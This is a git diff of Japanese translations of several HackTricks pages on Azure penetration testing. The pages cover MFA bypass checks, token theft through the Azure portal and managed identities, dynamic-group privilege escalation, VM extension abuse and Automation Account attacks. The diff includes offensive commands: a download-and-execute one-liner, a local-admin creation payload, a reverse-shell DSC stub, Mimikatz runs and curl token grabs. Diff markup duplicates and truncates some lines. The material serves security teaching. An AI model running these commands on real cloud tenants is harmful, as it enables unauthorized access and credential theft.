MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセスポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -141,20 +141,20 @@ Donkey tokenは、Conditional Access Policiesを検証する必要があるセ
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
```powershell
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます:
```powershell
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのトークンが要求されます:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
トークンが Sites.Read.All (Sharepoint から) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## 参考文献

View File

@@ -4,26 +4,26 @@
## 基本情報
**Dynamic groups** は、設定された一連の **rules** を持つグループであり、ルールに一致するすべての **users or devices** がグループに追加されます。ユーザーまたはデバイスの **attribute****changed** されるたびに、動的ルールが **rechecked** されます。そして、新しい **rule****created** されると、すべてのデバイスとユーザーが **checked** されます。
**Dynamic groups**は、設定された一連の**rules**を持つグループであり、ルールに一致するすべての**users or devices**がグループに追加されます。ユーザーまたはデバイスの**attribute**が**changed**されるたびに、動的ルールが**rechecked**されます。また、**new rule**が**created**されると、すべてのデバイスとユーザーが**checked**されます。
Dynamic groups には **Azure RBAC roles** を割り当てることができますが、**AzureAD roles** を動的グループに追加することは **not possible** です。
Dynamic groupsには**Azure RBAC roles**を割り当てることができますが、**AzureAD roles**を動的グループに追加することは**not possible**です。
この機能には Azure AD プレミアム P1 ライセンスが必要です。
この機能にはAzure ADプレミアムP1ライセンスが必要です。
## Privesc
デフォルトでは、任意のユーザーが Azure AD でゲストを招待できるため、動的グループの **rule****attributes** に基づいてユーザーに **permissions** を与える場合、新しい **guest** でこの属性を **set** することで **create a guest** し、**escalate privileges** することが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、動的グループの**rule**が**attributes**に基づいてユーザーに**permissions**を与える場合、新しい**guest**でこの属性を**set**することで**create a guest**し、**escalate privileges**することが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
動的メンバーシップを許可するグループを取得します: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### 例
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Rule description**: 'security' という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。
- **Rule description**: 'security'という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。
ゲストユーザーのメールで招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)**that user** の現在の設定を確認します。\
ゲストユーザーのメールで招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)**that user**の現在の設定を確認します。\
残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

View File

@@ -12,7 +12,7 @@ Azure Virtual Machines と Network に関する詳細情報は、以下を確認
### **`Microsoft.Compute/virtualMachines/extensions/write`**
この権限は、仮想マシン内で拡張機能を実行することを許可し、**任意のコードを実行することができます**。\
この権限は、仮想マシン内で拡張機能を実行することを許可し、**任意のコードを実行することを可能にします**。\
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例:
{{#tabs }}
@@ -79,7 +79,7 @@ az vm extension set \
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess拡張機能を使用してパスワードをリセットする
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess 拡張機能</summary>
この拡張機能は、Windows VM内のユーザーのパスワードを変更するまたは存在しない場合は作成することを可能にします。
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらはすべて、**特定の管理されたIDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限ですこの場合は22。これにより、ユーザーはVMを作成し、それに接続して**管理されたIDトークンを盗む**ことで権限を昇格させることができます。
これらは、**特定の管理対象IDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限ですこの場合は22。これにより、ユーザーはVMを作成し、それに接続して**管理対象IDトークンを盗む**ことで権限を昇格させることができます。
状況に応じて、この技術を悪用するために必要な権限は多かれ少なかれ異なる場合があります。
```bash
@@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、管理者としてWindows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、Windows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはWACにアクセスしてVMを制御することを可能にするようです...
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,8 +12,8 @@
**IDENTITY_HEADER****IDENTITY_ENDPOINT** から **access_token** を取得します: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`
次に、Azure REST APIクエリして **subscription ID** などを取得します。
```powershell
次に、Azure REST APIクエリを送信して **subscription ID** などを取得します。
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
@@ -30,7 +30,7 @@ Headers = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
#### Azure API via Python バージョン
#### Azure API via Python Version
```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

View File

@@ -4,7 +4,7 @@
## 基本情報
Azure Container Registry (ACR) は、**Docker コンテナ イメージやその他のアーティファクトを保存および管理するための Microsoft Azure が提供するマネージド サービス**です。統合された開発者ツール、地理的レプリケーション、ロールベースのアクセス制御やイメージスキャンなどのセキュリティ対策、自動ビルド、Webhook およびトリガー、ネットワークの隔離などの機能を提供します。Docker CLI や Kubernetes などの人気ツールと連携し、他の Azure サービスとも良好に統合されます。
Azure Container Registry (ACR) は、**Docker コンテナ イメージやその他のアーティファクトを保存および管理するための Microsoft Azure が提供するマネージド サービス**です。統合開発者ツール、地理的レプリケーション、ロールベースのアクセス制御やイメージスキャンなどのセキュリティ対策、自動ビルド、Webhook およびトリガー、ネットワーク離などの機能を提供します。Docker CLI や Kubernetes などの人気ツールと連携し、他の Azure サービスとも良好に統合されます。
### 列挙
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

View File

@@ -4,7 +4,7 @@
## App Service Basic Information
Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、展開、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、APIをシームレスに構築、展開、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します
@@ -13,7 +13,7 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ
- Isolatedティアは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が向上します。
> [!WARNING]
> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用されている場合、それに**権限を昇格させる**ことができる可能性があります。
> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用される場合、それに**権限を昇格させる**ことができる可能性があります。
アプリにはいくつかの興味深い設定があります:
@@ -28,9 +28,9 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ
## Basic Authentication
ウェブアプリ通常はAzure関数を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCMソースコントロールマネージャーおよびFTPファイル転送プロトコル**を有効にすることを意味し、これらの技術を使用してアプリケーションを展開できるようになります。
ウェブアプリ通常はAzure関数を作成する際に、**Basic Authenticationを有効にするかどうかを指定**できます(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCMソースコントロールマネージャーFTPファイル転送プロトコル**を有効にするもので、これらの技術を使用してアプリケーションをデプロイできるようになります。
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、Azureはこれらのプラットフォームへの**URLを取得するためのAPI**を提供しています。
SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供**しています。
**FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば、接続してアプリ環境に対する読み取りおよび書き込み権限を取得できます。
@@ -39,7 +39,7 @@ SCM
### Kudu
Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェースの両方を管理するプラットフォーム**であり、Gitベースのデプロイメント、リモートデバッグ、およびファイル管理機能を提供します。ウェブアプリで定義されたSCM URLを通じてアクセスできます。
Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェース**の両方を管理、Gitベースのデプロイメント、リモートデバッグ、ファイル管理機能を提供するプラットフォームです。ウェブアプリで定義されたSCM URLを通じてアクセスできます。
App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。
@@ -49,7 +49,7 @@ Kuduで見つけることができるいくつかの興味深いエンドポイ
- この環境は**トークンを取得するためのメタデータサービスにアクセスできません**。
- `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアントです。
- この環境は、割り当てられた管理アイデンティティからトークンを取得するための**メタデータサービスにアクセスできます**。
- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。
- `/Env`: システム、アプリ設定、環境変数、接続文字列、HTTPヘッダーに関する情報を取得します。
- `/wwwroot/`: ウェブアプリのルートディレクトリです。ここからすべてのファイルをダウンロードできます。
さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いものを比較すると、**すでにいくつかのことが変更されている**ことがわかります。
@@ -70,31 +70,7 @@ App Servicesは、デフォルトでコードをzipファイルとしてアッ
## Webjobs
Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約型の操作を簡単に処理できます。
ウェブジョブには2種類あります
- **継続的**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。
- **トリガー**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。
ウェブジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格させる**ために使用できる可能性があるため、攻撃者の視点から非常に興味深いです。
さらに、ウェブジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。
## Slots
Azure App Service Slotsは、**同じApp Serviceに異なるバージョンのアプリケーションをデプロイするために使用されます**。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。
さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これはA/Bテストや**バックドア目的**に便利です。
## Azure Function Apps
基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもそこにリストされているのが見えます**。
したがって、両方のサービスは実際にはほとんど**同じ設定、機能、およびaz cliのオプションを持っています**が、アプリ設定のデフォルト値やFunction Appsでのストレージアカウントの使用など、少し異なる方法で構成される場合があります。
## Enumeration
{{#tabs }}
{{#tab name="az" }}
Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、スケジュールされたタ
```bash
# List webapps
az webapp list
@@ -180,7 +156,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -238,7 +214,7 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`表示されます。
SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`見えます。
> [!TIP]
> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
@@ -253,7 +229,7 @@ SCMポータルにログインするか、FTP経由でログインすると、`/
2. Azureで新しいPython Webアプリを作成します。
3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`表示されます。
前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`見えます。
> [!TIP]
> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。

View File

@@ -20,7 +20,7 @@ Azure Active DirectoryのApplication Proxyは、**オンプレミスのWebアプ
6. **レスポンス**はコネクタとApplication Proxyサービスを通じて**ユーザーに送信されます**
## 列挙
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

View File

@@ -1,19 +1,19 @@
# Az - ARM テンプレート / デプロイメント
# Az - ARM Templates / Deployments
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azure ソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource Manager テンプレート (ARM テンプレート) を使用します。テンプレートは、プロジェクトのための **インフラストラクチャ** と構成を **定義** する JavaScript Object Notation (**JSON**) ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそれらのリソースのプロパティを指定します。
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azureソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource ManagerテンプレートARMテンプレートを使用します。テンプレートは、プロジェクトの**インフラストラクチャ**と構成を**定義**するJavaScript Object Notation**JSON**ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそれらのリソースのプロパティを指定します。
### 歴史
アクセスできる場合、将来デプロイされる可能性のある **リソースに関する情報** を得ることができます。さらに、**機密情報** を含む **パラメータ** が "**String**" としてマークされている場合、**SecureString** の代わりに、**平文** で存在します。
アクセスできる場合、将来デプロイされる可能性のある**リソースに関する情報**を取得できます。さらに、**機密情報**を含む**パラメータ**が「**String**としてマークされている場合、**SecureString**の代わりに、**平文**で存在します。
## 機密情報の検索
`Microsoft.Resources/deployments/read` および `Microsoft.Resources/subscriptions/resourceGroups/read` の権限を持つユーザーは、**デプロイメント履歴を読み取る**ことができます。
```powershell
`Microsoft.Resources/deployments/read`および`Microsoft.Resources/subscriptions/resourceGroups/read`の権限を持つユーザーは、**デプロイメント履歴を読み取る**ことができます。
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

View File

@@ -4,51 +4,51 @@
## 基本情報
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性向上します。**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行します。
Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性向上させるためのインフラストラクチャをコードIaCとして提供し、プロセスの自動化を可能にします。
### 設定
- **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。
- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。
- **証明書**: Runbookで使用できる**証明書**を保存するために使用されます。
- **資格情報**: パスワードは自動化アカウント内のランブック内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。
- **変数**: ランブックで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のランブック内でのみ利用可能です。
- **証明書**: ランブックで使用できる**証明書**を保存するために使用されます。
- **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。
- **ネットワークアクセス**: **公開**または**プライベート**に設定できます。
### Runbooks & Jobs
### ランブックとジョブ
Azure AutomationのRunbookは、クラウド環境内で**タスクを自動的に実行するスクリプト**です。RunbookはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。
Azure Automationのランブックは、クラウド環境内でタスクを**自動的に実行するスクリプト**です。ランブックはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。
**Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。
**ランブック**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。
**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます:
**ジョブはランブック実行のインスタンス**です。ランブックを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます:
- **ステータス**: キュー待ち、実行中、完了、失敗、保留。
- **出力**: Runbook実行の結果。
- **開始および終了時**: ジョブが開始および完了した時
- **出力**: ランブック実行の結果。
- **開始時刻と終了時**: ジョブが開始された時刻と完了した時
ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読**ことができる場合は、**出力****機密情報**が含まれている可能性があるため、必ず行ってください。
ジョブには**ランブック**実行の**出力**が含まれています。**ジョブ**を**読み取る**ことができる場合は、**実行の出力**(潜在的な**機密情報**が含まれているため、必ず行ってください。
### スケジュール & Webhooks
### スケジュールとウェブフック
Runbookを実行する主な方法は3つあります
ランブックを実行する主な方法は3つあります
- **スケジュール**: 特定の**時間**または**間隔**でRunbookを**トリガー**するために使用されます。
- **Webhooks**: 外部サービスからRunbookを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、Webhook URLは**表示されません**。
- **手動トリガー**: AzureポータルおよびCLIからRunbookを**手動でトリガー**できます。
- **スケジュール**: 特定の**時間**または**間隔**でランブックを**トリガー**するために使用されます。
- **ウェブフック**: 外部サービスからランブックを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、ウェブフックURLは**表示されません**。
- **手動トリガー**: AzureポータルおよびCLIからランブックを**手動でトリガー**できます。
### ソース管理
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートできます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することができ、リポジトリからAzure Automationアカウントへの**変更同期**指示することも可能です。
**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からランブックをインポートすることができます。リポジトリのランブックをAzure Automationアカウントに公開するように指示すること、リポジトリからAzure Automationアカウント**変更同期**するように指示することも可能です。
同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
同期が有効になっている場合、**Githubリポジトリにウェブフックが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。ウェブフックURLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
これらのWebhookは、Githubリポジトリに関連付けられたRunbooksのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。
これらのウェブフックは、Githubリポジトリに関連付けられたランブックのウェブフックをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。
構成されたソース管理が機能するためには、**Azure Automation Account**に**`Contributor`**ロールを持つマネージドアイデンティティシステムまたはユーザーが必要です。さらに、Automation Accountにユーザーマネージドアイデンティティを割り当てるには、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**にユーザーMIのクライアントIDを指定する必要があります。
### ランタイム環境
Runbookを作成する際に、ランタイム環境を選択できます。デフォルトでは、以下のランタイム環境が利用可能です:
ランブックを作成する際に、ランタイム環境を選択することができます。デフォルトでは、以下のランタイム環境が利用可能です:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -57,32 +57,32 @@ Runbookを作成する際に、ランタイム環境を選択できます。デ
- **Python 3.8**
- **Python 2.7**
ただし、これらのいずれかをベースにして**独自の環境を作成する**ことも可能です。Pythonの場合、使用する環境に`.whl`パッケージをアップロードできます。PowerShellの場合、ランタイムに必要なモジュールを含む`.zip`パッケージをアップロードできます。
ただし、これらのいずれかをベースにして**独自の環境を作成する**ことも可能です。Pythonの場合、使用する環境に`.whl`パッケージをアップロードすることができます。PowerShellの場合、ランタイムで使用するモジュールを含む`.zip`パッケージをアップロードすることができます。
### ハイブリッドワーカーグループ
Azure Automationでは、Runbookのデフォルトの実行環境は**Azure Sandbox**であり、Azureリソースに関するタスクに適したAzureが管理するクラウドベースのプラットフォームです。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
Azure Automationでは、ランブックのデフォルトの実行環境は**Azure Sandbox**であり、Azureによって管理されるクラウドベースのプラットフォームで、Azureリソースに関するタスクに適しています。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間リソース使用に関する制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドランブックワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で実行されます。このセットアップにより、ランブックはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。
ハイブリッドワーカーグループを作成する際には、使用する**資格情報**を指定する必要があります。2つのオプションがあります
- **デフォルトの資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。
- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMのために**有効な資格情報を盗む**ことが可能です。
- **デフォルトの資格情報**: 資格情報を提供する必要はなく、ランブックは**システム**としてVM内で実行されます。
- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でランブックを実行するために使用されます**。したがって、この場合、VMのために**有効な資格情報を盗む**ことが可能です。
したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**ます(良いピボット技術)。
したがって、**ハイブリッドワーカー**で**ランブック**を実行することを選択できる場合、**システム**として外部マシン内で**任意のコマンドを実行**することになります(良いピボット技術)。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティ**にアクセスできるようになります。
> [!TIP]
> **メタデータサービス**のURLは、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なる**`http://169.254.169.254`**ことを忘れないでください。
> **メタデータサービス**のURLは、**`http://169.254.169.254`**であり、自動化アカウントのマネージドアイデンティティトークンを取得するサービスのURL**`IDENTITY_ENDPOINT`**)とは異なることを忘れないでください。
### 状態構成 (SC)
### 状態構成SC
>[!WARNING]
> [ドキュメント](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)に示されているように、Azure Automation State Configurationは2027年9月30日に廃止され、[Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)に置き換えられます。
